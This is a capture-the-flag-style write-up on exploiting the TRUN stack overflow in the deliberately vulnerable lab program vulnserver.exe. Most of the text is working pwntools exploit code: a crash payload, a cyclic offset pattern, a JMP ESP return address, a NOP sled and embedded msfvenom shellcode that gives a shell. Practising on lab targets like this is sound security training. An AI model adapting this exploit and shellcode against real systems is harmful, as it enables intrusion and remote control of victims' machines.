Exploiting vulnserver.exe — TRUN command using JMP ESP technique

2 minute read

In this write-up, I will discuss about attacking TRUN command of vulnserver.exe with JMP ESP technique.

To get started, let’s read the source code of vulnserver.

image-center

The code tells us that it copies 3000 bytes of our input (RecvBuf) to TrunBuf if our input contains a “.”, and it passes TrunBuf to Function3().

Let’s inspect Function3 to have a better understanding what happens next.

The contents of TrunBuf is copied to Buffer2S without checking the payload length. This is where the vulnerability occurs. Since Buffer2S can only handle 2000 bytes and TrunBuf can handle up to 3000 bytes of input, we can smash the stack by sending a payload greater than 2000 bytes.

Our initial payload should look like this.

from pwn import *

host = '192.168.136.241'  
port = 9999

r = remote(host, port)

payload = ""  
payload += "TRUN ."  
payload += "A"*3000

r.sendline(payload)  
r.close()

Sending this payload to vulnserver makes the program crash.

Upon checking the registers, it seems that we can now control the instruction pointer.

Let’s fuzz this program to get the offset we need to control EIP.

from pwn import *

host = '192.168.136.241'  
port = 9999

r = remote(host, port)

payload = ""  
payload += "TRUN ."  
payload += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9"

r.sendline(payload)  
r.close()

Sending this payload gives us the unique pattern that has overwritten the instruction pointer.

The offset is 2006.

Now, let’s try to execute a shellcode after controlling the instruction pointer. Since we can send 3000 bytes of payload, we have a lot of space to work with. We can simply send our payload together with the shellcode and use JMP ESP to jump to our shellcode.

First, let’s check if there is an available JMP ESP instruction that we can use with the help of mona. We can simply use !mona jmp -r esp to get a list of JMP ESP instructions.

We can use 0x625011af as our JMP ESP instruction.

Next, we need to generate our shellcode. We can simply use msfvenom for this one.

Now, let’s reconstruct our payload with this structure.

payload = <2006 bytes buffer> + JMP ESP + NOP SLED + shellcode

NOTE: Since we have a large space to work with, we added a NOP sled to give space to our shellcode. NOP stands for no operation, which means that it is an instruction that does nothing.

Our final payload script looks like this.

from pwn import *

host = '192.168.136.241'  
port = 9999

r = remote(host, port)

shellcode =  b""  
shellcode += b"\xdb\xd9\xd9\x74\x24\xf4\x5e\xbd\xfd\xa4\xaa"  
shellcode += b"\x0f\x33\xc9\xb1\x52\x31\x6e\x17\x83\xc6\x04"  
shellcode += b"\x03\x93\xb7\x48\xfa\x97\x50\x0e\x05\x67\xa1"  
shellcode += b"\x6f\x8f\x82\x90\xaf\xeb\xc7\x83\x1f\x7f\x85"  
shellcode += b"\x2f\xeb\x2d\x3d\xbb\x99\xf9\x32\x0c\x17\xdc"  
shellcode += b"\x7d\x8d\x04\x1c\x1c\x0d\x57\x71\xfe\x2c\x98"  
shellcode += b"\x84\xff\x69\xc5\x65\xad\x22\x81\xd8\x41\x46"  
shellcode += b"\xdf\xe0\xea\x14\xf1\x60\x0f\xec\xf0\x41\x9e"  
shellcode += b"\x66\xab\x41\x21\xaa\xc7\xcb\x39\xaf\xe2\x82"  
shellcode += b"\xb2\x1b\x98\x14\x12\x52\x61\xba\x5b\x5a\x90"  
shellcode += b"\xc2\x9c\x5d\x4b\xb1\xd4\x9d\xf6\xc2\x23\xdf"  
shellcode += b"\x2c\x46\xb7\x47\xa6\xf0\x13\x79\x6b\x66\xd0"  
shellcode += b"\x75\xc0\xec\xbe\x99\xd7\x21\xb5\xa6\x5c\xc4"  
shellcode += b"\x19\x2f\x26\xe3\xbd\x6b\xfc\x8a\xe4\xd1\x53"  
shellcode += b"\xb2\xf6\xb9\x0c\x16\x7d\x57\x58\x2b\xdc\x30"  
shellcode += b"\xad\x06\xde\xc0\xb9\x11\xad\xf2\x66\x8a\x39"  
shellcode += b"\xbf\xef\x14\xbe\xc0\xc5\xe1\x50\x3f\xe6\x11"  
shellcode += b"\x79\x84\xb2\x41\x11\x2d\xbb\x09\xe1\xd2\x6e"  
shellcode += b"\x9d\xb1\x7c\xc1\x5e\x61\x3d\xb1\x36\x6b\xb2"  
shellcode += b"\xee\x27\x94\x18\x87\xc2\x6f\xcb\x68\xba\xe7"  
shellcode += b"\xfd\x01\xb9\xf7\x10\x8e\x34\x11\x78\x3e\x11"  
shellcode += b"\x8a\x15\xa7\x38\x40\x87\x28\x97\x2d\x87\xa3"  
shellcode += b"\x14\xd2\x46\x44\x50\xc0\x3f\xa4\x2f\xba\x96"  
shellcode += b"\xbb\x85\xd2\x75\x29\x42\x22\xf3\x52\xdd\x75"  
shellcode += b"\x54\xa4\x14\x13\x48\x9f\x8e\x01\x91\x79\xe8"  
shellcode += b"\x81\x4e\xba\xf7\x08\x02\x86\xd3\x1a\xda\x07"  
shellcode += b"\x58\x4e\xb2\x51\x36\x38\x74\x08\xf8\x92\x2e"  
shellcode += b"\xe7\x52\x72\xb6\xcb\x64\x04\xb7\x01\x13\xe8"  
shellcode += b"\x06\xfc\x62\x17\xa6\x68\x63\x60\xda\x08\x8c"  
shellcode += b"\xbb\x5e\x38\xc7\xe1\xf7\xd1\x8e\x70\x4a\xbc"  
shellcode += b"\x30\xaf\x89\xb9\xb2\x45\x72\x3e\xaa\x2c\x77"  
shellcode += b"\x7a\x6c\xdd\x05\x13\x19\xe1\xba\x14\x08"

payload = ""  
payload += "TRUN ."  
payload += "A"*2006  
payload += p32(0x625011af) # JMP ESP  
payload += "\x90"*50 # NOP SLED  
payload += shellcode

r.sendline(payload)  
r.close()

Executing this payload gives us a shell.

— ar33zy